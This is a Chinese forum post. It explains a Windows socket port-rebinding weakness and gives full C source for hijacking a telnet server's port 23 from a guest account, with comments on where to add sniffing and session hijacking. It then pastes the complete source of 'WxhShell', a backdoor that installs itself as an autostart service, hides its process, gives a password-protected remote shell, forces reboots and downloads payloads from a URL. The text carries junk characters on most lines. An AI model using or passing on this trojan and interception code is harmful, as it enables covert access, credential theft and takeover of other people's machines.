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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cs7T AX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ] 5lp.#EB  
T=}(S4n#BX  
  saddr.sin_family = AF_INET; *doK$wYP  
pvJ@$L `'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tFL/zqgm  
&}S#6|[i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {Q[{H'Oa  
^WP`;e  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FFl[[(`%D  
<J@Y=#G$2  
  这意味着什么?意味着可以进行如下的攻击: W6D|Rr.q  
ow*) 1eo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E)m{m$Hb  
{[PoLOCI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8/*q#j  
Y25S:XHk9  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p5c^dC{   
@@7<L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  jQzq(oDQw  
ua*k{0[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DPJ#Y -0  
[Z|R-{"  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~k?7XF I  
L,| 60*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u-3A6Q  
c4oQ4  
  #include jEsP: H(0^  
  #include S,m)yh.  
  #include Mxn>WCPo  
  #include    d6-a\]gF  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ahA21W` k  
  int main() Zf |%t  
  { kt.z,<w5O  
  WORD wVersionRequested; W~+ ] 7<  
  DWORD ret; XKB)++Q=  
  WSADATA wsaData; tT87TmNsA  
  BOOL val; |ul25/B B  
  SOCKADDR_IN saddr; Mo|[Muj8b  
  SOCKADDR_IN scaddr; 2J =K\ L  
  int err; LFob1HH*8  
  SOCKET s; 9D++SU2 :}  
  SOCKET sc; ) f9f_^;  
  int caddsize; X>j% y7v  
  HANDLE mt; Oemi}  
  DWORD tid;   `:!mPNW#  
  wVersionRequested = MAKEWORD( 2, 2 ); ulV)X/]1  
  err = WSAStartup( wVersionRequested, &wsaData ); xz5Jli  
  if ( err != 0 ) { jXkz,]Iy  
  printf("error!WSAStartup failed!\n"); F6R+E;"4R'  
  return -1; 5\}A8Ng  
  } -! Hn,93  
  saddr.sin_family = AF_INET; L6Ykv/V  
   NS @j`6/U  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 -;cZW.<  
W"+*%x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "5u*C#T2$  
  saddr.sin_port = htons(23); BpZE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [ps5;  
  { #N_C| v/  
  printf("error!socket failed!\n"); cq+|fg~Yy  
  return -1; 6Y0k}+j|>E  
  } SuU,SE'TX  
  val = TRUE; n=l>d#}$%T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .ml24SeC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %N_5p'W  
  { [ !/u,  
  printf("error!setsockopt failed!\n"); 4%1sOnl  
  return -1; hIu;\dfwk  
  } N|5J-fR&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H=[eO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #z_lBg. K  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >&3M #s(w  
JsI` #  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m07= _4  
  { yKF"\^`@  
  ret=GetLastError(); Yo3my>N&g  
  printf("error!bind failed!\n"); Cqy84!Z<  
  return -1; ms8de>A|H  
  } C-lv=FJEk/  
  listen(s,2); &p=Uus  
  while(1) QNn\wz_)  
  { /"?yB$s  
  caddsize = sizeof(scaddr); E}Q'Wz|k  
  //接受连接请求 m(SGE,("w  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ol7%$:S  
  if(sc!=INVALID_SOCKET) ?U.+SQ  
  { G#-t&gO3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); }Tf~)x  
  if(mt==NULL) A@xa$!4}  
  { ;`',M6g  
  printf("Thread Creat Failed!\n"); <dl:';@a-  
  break; 6r{NW9y'  
  } "s[wLclfG  
  } 8)HUo?/3  
  CloseHandle(mt); UZ7Zzc#g  
  } L#mf[a@pCn  
  closesocket(s); O4J <u-E$  
  WSACleanup(); [E<NEl *  
  return 0; =V~p QbZ  
  }   6U5L>sQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) RhR{EO  
  {  PNY"Lqj  
  SOCKET ss = (SOCKET)lpParam; 5'wWj}0!%  
  SOCKET sc; Uo?g@D  
  unsigned char buf[4096]; !qk+>6~A,  
  SOCKADDR_IN saddr; K8M[xaI@  
  long num; jsB%RvX  
  DWORD val; =n .d'  
  DWORD ret; w%F~4|F  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <]<P<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^k6 A,Ak  
  saddr.sin_family = AF_INET; nR'!Ui  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); OP0KK^#  
  saddr.sin_port = htons(23); "j-Z<F]]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;:2]++G  
  { F!.Z@y P  
  printf("error!socket failed!\n"); Qc1NLU9:  
  return -1; KSkT6_<  
  } 0N.B =j|  
  val = 100; oS3'q\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1) 7n (  
  { vOIK6-   
  ret = GetLastError(); A) {q 7WI  
  return -1; 4.Luy  
  } -{[5P!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .kKU MyW(  
  { =hD@hQ i  
  ret = GetLastError(); :Z)a&A9v  
  return -1; *UBukn  
  } 7L3:d7=MIW  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [`pp[J-~7  
  { mY6d+  
  printf("error!socket connect failed!\n"); 0?c2=Y   
  closesocket(sc); cW%QKdTQY0  
  closesocket(ss); ! R rk  
  return -1; j#4 Iu&YJ  
  } 5B6twn~[  
  while(1) \%& BK.t  
  { ybk~m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 t<=Ru*p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zv[$ N,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y2Eq-Ie  
  num = recv(ss,buf,4096,0); 96G8B62  
  if(num>0) n}0n!Pr^  
  send(sc,buf,num,0); VPOzt7:  
  else if(num==0) h[eC i  
  break; C7PVJnY0  
  num = recv(sc,buf,4096,0); -_@zyF<G  
  if(num>0) iM \3~3'  
  send(ss,buf,num,0); 3XykIj1  
  else if(num==0) =Q+i(UGHi  
  break; Hwb+@'o  
  } 1M@OBfB8  
  closesocket(ss); VZveNz@]r  
  closesocket(sc); zD}@QoB  
  return 0 ; G-7!|&  
  } 8w4-Ud*$i  
T0HNld  
@nWhUH%  
========================================================== /Z3 Mlm{  
|!t &ZpdD  
下边附上一个代码,,WXhSHELL >qE f991SZ  
au=A+  
========================================================== P"-*'q,9  
~l {*XM  
#include "stdafx.h" AS1#_f C  
<'T:9  
#include <stdio.h> D;?cf+6$  
#include <string.h> ht>C6y  
#include <windows.h> |:7 ^  
#include <winsock2.h> {"v~1W)  
#include <winsvc.h> FZFYwU\~.L  
#include <urlmon.h> QK~44;LVIJ  
FS'|e?WU  
#pragma comment (lib, "Ws2_32.lib") 8-#_xsZ^;  
#pragma comment (lib, "urlmon.lib") b@v_db]|t.  
q8Jhs7fv  
#define MAX_USER   100 // 最大客户端连接数 "rl(%~Op  
#define BUF_SOCK   200 // sock buffer "aL.`^.  
#define KEY_BUFF   255 // 输入 buffer x."R_>  
{beu  
#define REBOOT     0   // 重启 D;1?IeS  
#define SHUTDOWN   1   // 关机 90"&KDh  
|.#G G7F^S  
#define DEF_PORT   5000 // 监听端口 nj1TX  
I8x,8}o>V  
#define REG_LEN     16   // 注册表键长度 w]@H]>sHd  
#define SVC_LEN     80   // NT服务名长度 (r6'q0[  
Aj{c s  
// 从dll定义API CJa`[;i0y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); og[cwa_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); % _.kd"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *;ehSg9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xF8U )j !  
d/&W[jJ  
// wxhshell配置信息 a^vTBJXo  
struct WSCFG { iY,Ffu E  
  int ws_port;         // 监听端口 ZA1:Y{ V  
  char ws_passstr[REG_LEN]; // 口令 ']bw37_U,  
  int ws_autoins;       // 安装标记, 1=yes 0=no ! V^wq]D2  
  char ws_regname[REG_LEN]; // 注册表键名 4 EE7gkM5  
  char ws_svcname[REG_LEN]; // 服务名 :  I q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A4~- {.w=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |l-~,eRvi5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8(zE^W,[8"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zi^?9n),  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !-veL1r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @D[tljc^  
OA7YWk<K  
}; *SK`&V  
$,.XPK5Q u  
// default Wxhshell configuration ]Y3NmL  
struct WSCFG wscfg={DEF_PORT, 11^.oa+`  
    "xuhuanlingzhe", H*H~~yQ  
    1, u~xfI[8C  
    "Wxhshell", ;!hwcOkX  
    "Wxhshell", {{r.?m#{  
            "WxhShell Service", )Fsc0_  
    "Wrsky Windows CmdShell Service", ,*kh{lJ  
    "Please Input Your Password: ", ;;|o+4Ob;  
  1, Q]{ `m  
  "http://www.wrsky.com/wxhshell.exe", i7XM7 +}  
  "Wxhshell.exe" gbrn'NT  
    }; BHu%x|d  
0f5c#/7C9  
// 消息定义模块 %y{'p:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q2>o+G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nov)'2g7G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cut7  
char *msg_ws_ext="\n\rExit."; \1He9~6  
char *msg_ws_end="\n\rQuit."; Y'^+ KU  
char *msg_ws_boot="\n\rReboot..."; XiL[1JM  
char *msg_ws_poff="\n\rShutdown...";  ;?G..,  
char *msg_ws_down="\n\rSave to "; /:;"rnvq  
$5wf{iZY.Q  
char *msg_ws_err="\n\rErr!"; ew.jsa`TrW  
char *msg_ws_ok="\n\rOK!"; `N}aV Ns  
PX- PVW  
char ExeFile[MAX_PATH]; 8w$q4fg0  
int nUser = 0; |SfCuV#g/<  
HANDLE handles[MAX_USER]; 7_Op(C4,nC  
int OsIsNt; .3'U(U  
~H c5M5m  
SERVICE_STATUS       serviceStatus; ym8pB7E7%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tfCK^{  
(PC)R9r5  
// 函数声明 2EH0d6nt  
int Install(void); Ya &\b 6  
int Uninstall(void); ffQm"s:P  
int DownloadFile(char *sURL, SOCKET wsh); :+_  
int Boot(int flag); eakQZ-Q  
void HideProc(void); r3NdE~OAi  
int GetOsVer(void); "x0/i?pqa  
int Wxhshell(SOCKET wsl); hLr\;Swyp  
void TalkWithClient(void *cs); /o^/ J~/3  
int CmdShell(SOCKET sock); _+9o'<#u(  
int StartFromService(void); >} E  
int StartWxhshell(LPSTR lpCmdLine); G3o`\4p  
}60/5HNr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3UX6Y]E3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FN/siw(?3  
hCb2<_3CR  
// 数据结构和表定义  r4M;]  
SERVICE_TABLE_ENTRY DispatchTable[] = .*X=JFxl  
{ U1W8f|u  
{wscfg.ws_svcname, NTServiceMain}, :6 qt[(<"  
{NULL, NULL} ] T<#bNK\1  
}; |va^lT  
7Bym?  
// 自我安装 1+#E|YWJ  
int Install(void) N;v]ypak  
{ +1]A$|qyW  
  char svExeFile[MAX_PATH]; f28bBuv1?  
  HKEY key; X4<Y5?&0  
  strcpy(svExeFile,ExeFile); {TZV^gT4  
DB+oCE<.#  
// 如果是win9x系统,修改注册表设为自启动 bao"iv~z  
if(!OsIsNt) { FeNNzV=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qfX26<q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "QvTn=  
  RegCloseKey(key); N F,<^ u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CiV^bYi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @A|#/]S1  
  RegCloseKey(key); &~c`p[  
  return 0; W9QVfe#s  
    } dJe 3DW :  
  } _SnD)k+TgJ  
} :=*V i`  
else { ZfXgVTJ`  
&x\cEI)!  
// 如果是NT以上系统,安装为系统服务 4t-l@zFWb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [V_+/[AA)  
if (schSCManager!=0) Q-7L,2TL  
{ i<(~J4}b  
  SC_HANDLE schService = CreateService NwVhJdo  
  ( 6 ZAZJn|  
  schSCManager, PQ{5*}$N  
  wscfg.ws_svcname, Ciy%7_~\  
  wscfg.ws_svcdisp, "A> _U<Y  
  SERVICE_ALL_ACCESS, \ B'AXv 6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G +&pq  
  SERVICE_AUTO_START, e$Mvl=NYp\  
  SERVICE_ERROR_NORMAL,  \EXa 9X2  
  svExeFile, ~)VI` 36X  
  NULL, u@;e`-@  
  NULL, z+{xW7  
  NULL, %=Y=]g2  
  NULL, S!n?b|_  
  NULL LLKYcy  
  ); .%!^L#g  
  if (schService!=0) TT no  
  { kE:{#>[Uz  
  CloseServiceHandle(schService); OIIA^QyV  
  CloseServiceHandle(schSCManager); J0imWluhQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tH~>uOZW  
  strcat(svExeFile,wscfg.ws_svcname); 4bcd=a;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?E<9H/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \8g= Ix  
  RegCloseKey(key); eL<jA9cJ9  
  return 0; ]57yorc`  
    } 0gG r/78   
  } ;XQ27,K&  
  CloseServiceHandle(schSCManager); !zsrORF{  
} {  '402  
} @j"6f|d  
`(ik2#B`}  
return 1; T2n3g|4  
} [$F*R@,&  
%WC ^aKfY  
// 自我卸载 {5fL!`6w  
int Uninstall(void) O~v~s ' c&  
{ ! ,0  
  HKEY key; K&,";9c  
tLxeq?Oo]  
if(!OsIsNt) { ! >V)x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , 6Jw   
  RegDeleteValue(key,wscfg.ws_regname); Qm=iCZ|E^!  
  RegCloseKey(key); xI.0m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~4|Trz2T  
  RegDeleteValue(key,wscfg.ws_regname); 'c_K[p$  
  RegCloseKey(key); 5f MlOP_  
  return 0; Pf/8tXs}  
  } 0yvp>{;p  
} :wN !E{0j  
} 1Vx5tOq  
else { D1 $ER>  
~L>86/hP,N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0m=57c$O  
if (schSCManager!=0) n @,.  
{ CxN xb)c &  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pp@B]We  
  if (schService!=0) Ni%@bU $  
  { @SyL1yFX  
  if(DeleteService(schService)!=0) { 7xQ:[P!G+  
  CloseServiceHandle(schService); hu1ZckIw?  
  CloseServiceHandle(schSCManager); rL&Mq}7QK  
  return 0; jE wt1S V  
  } c&x1aF "B  
  CloseServiceHandle(schService); 74a@/'WbE  
  } oam;hmw  
  CloseServiceHandle(schSCManager); o(H.1ESk  
} Vh>cV  
} rlA/eQrS  
1D3 8T  
return 1; |2%|=   
} <5,|h3]-#  
]31=8+D  
// 从指定url下载文件 u>G9r#~`k  
int DownloadFile(char *sURL, SOCKET wsh) 9zS   
{ x(xi%?G  
  HRESULT hr; `R>z{-@=  
char seps[]= "/"; KQvSeH>r  
char *token; ~**x_ v  
char *file; jd,i=P%  
char myURL[MAX_PATH]; ~%C F3?e6  
char myFILE[MAX_PATH]; [0hahR  
#9Jr?K43  
strcpy(myURL,sURL); n>R(e>  
  token=strtok(myURL,seps); ,lStT+A  
  while(token!=NULL) ,i??}Wm5G  
  { .}v" `>x  
    file=token; T1*.3_wtP  
  token=strtok(NULL,seps); 8e3eQ  
  } K!.t}s.t  
q*|Alrm  
GetCurrentDirectory(MAX_PATH,myFILE); EFljUT?&  
strcat(myFILE, "\\"); K5|~iW'  
strcat(myFILE, file); >Q!}tbg~9  
  send(wsh,myFILE,strlen(myFILE),0); HZZZ [km  
send(wsh,"...",3,0); 5OtdB'UITd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  oC*a;o  
  if(hr==S_OK) #{{p4/:  
return 0; u '/)l}  
else Nh_\{ &r  
return 1; (XW'1@b  
E5@=LS  
} xO Aq!,|V  
-egnMc67  
// 系统电源模块 <+-n lK4  
int Boot(int flag) 5lJL[{  
{ ^/#G,MxNy  
  HANDLE hToken; -{k8^o7$  
  TOKEN_PRIVILEGES tkp; k&%i+5X  
IsE3-X|  
  if(OsIsNt) { kY'Wf`y(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *d;TpwUI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vdAd@Z~\  
    tkp.PrivilegeCount = 1; Z\EA!Cs3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >e R^G5rn;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W. kcN,  
if(flag==REBOOT) { !5C"`@}q>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N`,\1hHMT  
  return 0; ;Tp9)UP)  
} `6J7c;:  
else { (lVMy\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z|$DchC  
  return 0; $x+7.%1m)~  
} Ao$k[#px  
  } 8K?}!$fz  
  else { ThgJ '  
if(flag==REBOOT) { G^#>HE|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?z#*eoPr  
  return 0; Fd\uTxykp  
} ]6[+tpx  
else { Qd kus 214  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QfAmGDaYQ  
  return 0; _^#eO`4"  
} 05T?c{ ;  
} i79$D:PcLa  
)Yy5u'}  
return 1; 1xd6p  
} T+@i;M  
Yq6 @R|u  
// win9x进程隐藏模块 CYgokS\=,  
void HideProc(void) ZxSFElDD]E  
{ J ( d[05x0  
Ih|4ISI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [)s4:V  
  if ( hKernel != NULL ) ~Yi4?B<  
  { g^(gT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c{I]!y^!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zpT^:Ag  
    FreeLibrary(hKernel); qi7C.w;  
  } U\H[.qY-  
].kj-,5>f  
return; <I34@;R c  
} [B;okW  
t-KicLr  
// 获取操作系统版本 _$c o Y  
int GetOsVer(void) .,xyE--;d  
{ OxGfLeP.R!  
  OSVERSIONINFO winfo; >fI\f <ez  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UWC4PWL,>C  
  GetVersionEx(&winfo); M.t,o\xl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U|tacO5w`  
  return 1; Od~uYOL/B  
  else */aQ+%>jf  
  return 0; $&Vba@v  
} ZH;4e<gg  
MWA,3I\.  
// 客户端句柄模块 sIf]e'@AC  
int Wxhshell(SOCKET wsl) Z/G#3-5)p  
{ mz6]=]1w  
  SOCKET wsh; e[u}Vf  
  struct sockaddr_in client; bKM*4M=k  
  DWORD myID; C0N}B1-MU  
O[t?*m1/  
  while(nUser<MAX_USER) GkI'.  
{ XdCP!iq*8  
  int nSize=sizeof(client); E#:!&{O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c.Sd~k:3  
  if(wsh==INVALID_SOCKET) return 1; |YROxY"ML  
>P~*@>e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *{#C;"  
if(handles[nUser]==0) !'^l}K>  
  closesocket(wsh); ~k"b"+2  
else ial{A6X  
  nUser++; 4x[_lsj   
  } rIcgf1v70  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yjL+1_"B  
?SFQx \/  
  return 0; j [lS.Lb  
} SgewAng?@o  
.(q'7Q Z/  
// 关闭 socket dV38-IfGkl  
void CloseIt(SOCKET wsh) "[?DS  
{ iZy>V$Aq  
closesocket(wsh); NT 5=%X]  
nUser--; I*.nwV<  
ExitThread(0); :Q("  
} Ue 9Y+'-x  
_-y1>{]H  
// 客户端请求句柄 1k4\zVgi  
void TalkWithClient(void *cs) %_5#2a  
{ B;(U ?gC  
1Y$%| `  
  SOCKET wsh=(SOCKET)cs; D tZ?sG  
  char pwd[SVC_LEN]; @a@}xgn{  
  char cmd[KEY_BUFF]; _xCYh|DlQ|  
char chr[1]; aq_K,li #w  
int i,j; }p*|8$#x"  
x6R M)rr  
  while (nUser < MAX_USER) { E8r6P:5d`  
N Nk  
if(wscfg.ws_passstr) { u:|^L]{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qH4|k 2Lm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g&y (-  
  //ZeroMemory(pwd,KEY_BUFF); <A Hzs  
      i=0; 8+|W%}  
  while(i<SVC_LEN) { %P s.r{%{  
Cwls e-  
  // 设置超时 <`pNdy4  
  fd_set FdRead; G$TO'Ciu:  
  struct timeval TimeOut; p%mHxYP  
  FD_ZERO(&FdRead); o!+%|V8Y  
  FD_SET(wsh,&FdRead); D(']k?  
  TimeOut.tv_sec=8; bKsjbYuo  
  TimeOut.tv_usec=0; a`xAk ^w+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O$6&4p*F.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QyVAs;  
)S+fc=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vx($o9  
  pwd=chr[0]; XjL3Ar*  
  if(chr[0]==0xd || chr[0]==0xa) { kR97 )}Y  
  pwd=0; dX/7n=  
  break; Oe\(=R  
  } *z69ti/ t  
  i++; tE=09J%z  
    } 2)\->$Q(H  
!Ea >tQ|  
  // 如果是非法用户,关闭 socket ^4 $4x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); i \NV<I  
} 1xS+r)_n@  
=AzPAN#e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3A`]Rk   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j8Z;}Ps  
K\9CW%W  
while(1) { E} XmZxHV  
0ex.~S_Oj4  
  ZeroMemory(cmd,KEY_BUFF);  :2nsi4  
$T3_~7N  
      // 自动支持客户端 telnet标准   xgcJEox!  
  j=0; !i-t6f  
  while(j<KEY_BUFF) { LcvczS T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1-E6ACq  
  cmd[j]=chr[0]; r9{@e^Em  
  if(chr[0]==0xa || chr[0]==0xd) { -}UY2)  
  cmd[j]=0; 8_4!Ar>2  
  break; e%)iDt\j  
  } _x(hlHFk  
  j++; $Okmurnn  
    } %k4Qx5`?d  
sPZwA0%  
  // 下载文件 nC,QvV  
  if(strstr(cmd,"http://")) { Hj r'C?[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =QVkY7  
  if(DownloadFile(cmd,wsh)) *]U`]!Esp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N\__a~'0p  
  else %r1#G.2YW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &,G2<2_b  
  } ZH\t0YhrVe  
  else { QG?!XWz  
_[&V9 Jt  
    switch(cmd[0]) { N,qo/At}R[  
  }_KzF~  
  // 帮助 rZdOU?U  
  case '?': { })^eaLBR4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5]I)qij q  
    break; WeRDaG  
  } #d$z W4ur2  
  // 安装 GalSqtbmDt  
  case 'i': { QGfwvFm  
    if(Install()) bdstxjJ`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9R8q+2  
    else 0,RYO :`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5@>hjXi"Y  
    break; <rgK}&q  
    } p*lP9[7  
  // 卸载 \u`P(fI!K%  
  case 'r': { 69r%b7#  
    if(Uninstall()) =5Db^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~_JfI7={Jn  
    else z9IW&f~~P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u]NsCHKlT  
    break; c>D~MCNxg  
    } u=InE|SH  
  // 显示 wxhshell 所在路径 ;&J>a8B$  
  case 'p': { >xo<i8<Miv  
    char svExeFile[MAX_PATH]; =nCA=-Jv  
    strcpy(svExeFile,"\n\r"); (.!9  
      strcat(svExeFile,ExeFile); H(.9tuA  
        send(wsh,svExeFile,strlen(svExeFile),0); udUc&pX  
    break; |MGT8C&^!  
    } #1$4<o#M  
  // 重启 M5:.\0_  
  case 'b': { 3Ed  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); eGQ4aQhi  
    if(Boot(REBOOT)) @>46.V{P}B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6w &<j&V  
    else { Hb*Z_s  
    closesocket(wsh); qc,EazmU  
    ExitThread(0); xwsl$Rj  
    } agwbjkU/  
    break; 7WmLC  
    } H][TH2H1  
  // 关机 :MF`q.:X  
  case 'd': { j7&#R+f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M**Sus87Q  
